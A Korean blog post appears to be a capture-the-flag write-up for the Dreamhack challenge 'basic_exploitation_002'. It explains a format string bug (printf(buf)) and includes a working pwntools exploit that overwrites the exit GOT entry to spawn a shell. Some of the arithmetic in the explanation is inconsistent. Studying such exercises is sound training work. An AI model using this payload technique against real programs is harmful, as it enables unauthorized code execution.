본문 바로가기
시스템 해킹/드림핵

[Dreamhack] basic_exploitation_002

by L3m0n S0ju 2021. 7. 17.


basic_explotation_002.c

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80);
    printf(buf);

    exit(0);
}

 

 


코드의 마지막 부분을 보면 printf(buf)라는 코드가 있습니다. 원래라면 printf(%s,buf)처럼 코드를 작성해야 하지만 printf(buf) 처럼 코드를 작성해도 동작하기 때문에 이런 부분을 놓치는 개발자들이 있습니다. 문제점은 이와 같은 코드 작성은 포맷스트링 취약점을 불러올 수 있다는 것입니다.

 

문제 풀이법은 다음과 같습니다. exit 함수의 ret 위치에 get_shell의 시작주소를 덮어씌우는 것입니다. gdb로 확인할 결과 get_shell의 시작주소는 0x08048609, exit_got의 위치는 0x804a024입니다.

 

 


exit 함수에 get_shell 주소를 넘겨주기 위해서 0x08048609 주소 값을 넘겨줘야하지만 0x804a024의 값은 너무 크므로 0x0804와 0x8609 값으로 나눠서 넘겨주겠습니다. 페이로드는 아래와 같습니다.

 

payload = p32(exit+2) + p32(exit) + "%2044c%1$hn%32261c%2$hn"

 

exit+2 부분에 0x0804, exit 부분에 0x8609를 넘겨주면 

 

exit 주소 offset ->  7 6  5 4   3 2  1 0

                     0x /0 8 /0 4  /8 6 /0 9

위와 같은 형태로 주소값이 넘어가게 됩니다. 원리는 다음과 같습니다. 2044는 16진수로 (0x804 - 0x8)이고 0x804에서 8을 빼주는 이유는 p32(exit+2) + p32(exit) 부분 문자열 길이가 8바이트이기 때문에 p32(exit+2) + p32(exit) 부터 "%c2044c" 까지 조합하면 문자 개수는 총 2060으로 0x804가 됩니다. 다음으로 %1$hn은 4바이트를 넘길 경우에는 %n만 입력해도 되지만 2바이트씩 넘기므로 half 약자인 h를 붙여서 %hn이 되고 1$의 의미는 첫번째 주소를 의미합니다. 첫번째 주소는 페이로드에서 p32(exit+2) 부분이 됩니다. 왜 첫번째 주소가 p32(exit+2)를 가르키는지 아래에서 설명하겠습니다.

 

 


 

위 그림은 입력값으로 aaaabbbb%x%x%x%x을 입력한 결과이다. 첫번째 주소 %x는 현재 esp에서 4바이트 떨어진 주소에 있는 값을 가르키게 되는데 61616161을 출력하므로 처음에 입력한 aaaa가 저장된 주소에서 가져오는걸 알 수 있습니다. 예를 들어 첫번째 %x는 esp+4에 있는 값을 가져오고 두번째 %x는 esp+8에 있는 값을 가져오는 식으로 동작합니다. 즉 첫번째 주소가 정확히 어디를 가르키는지 알기 위해서는 esp위치를 알아내야하지만 방금 전과 같이 aaaabbbb%x%x 같이 몇가지 실험을 하면 esp를 몰라도 첫번째 주소가 무엇을 가르키는지 쉽게 알아낼 수 있습니다.

 

payload = p32(exit+2) + p32(exit) + "%2044c%1$hn%32261c%2$hn"

 

다시 정리하면 현재 첫번째 주소는 p32(exit+2), 두번째 주소는 p32(exit)임을 실험을 통해 알 수 있었고 %2044c는 문자열 길이를 0x804로 만들기 위해 입력하였고 %1$hn은 첫번째 주소에 지금까지 문자열 길이를 삽입합니다. %32661c는 문자열 길이를 0x8609로 만들기 위해 입력하였고 %2$hn은 두번째 주소에 지금까지 문자열 길이를 삽입하면 exit got는 get_shell을 가르키게 되고 쉘을 획득할 수 있습니다.

 

 

 

 

 

 

exploit.py


from pwn import*
 
p = remote("host1.dreamhack.games", 12860)

context.log_level='debug'

#get_shell=0x08048609
exit_got = 0x804a024
 
payload = p32(exit_got+2) + p32(exit_got) + b"%2044c%1$hn%32261c%2$hn"
 
p.send(payload)
 
p.interactive()


 

플래그

 

'시스템 해킹 > 드림핵' 카테고리의 다른 글

[Dreamhack] memory_leakage  (0) 2021.07.19
[Dreamhack] out_of_bound  (0) 2021.07.18
[Dreamhack] sint  (0) 2021.07.15
[Dreamhack] basic_exploitation_003  (0) 2021.05.22
[Dreamhack] oneshot  (0) 2021.05.11

댓글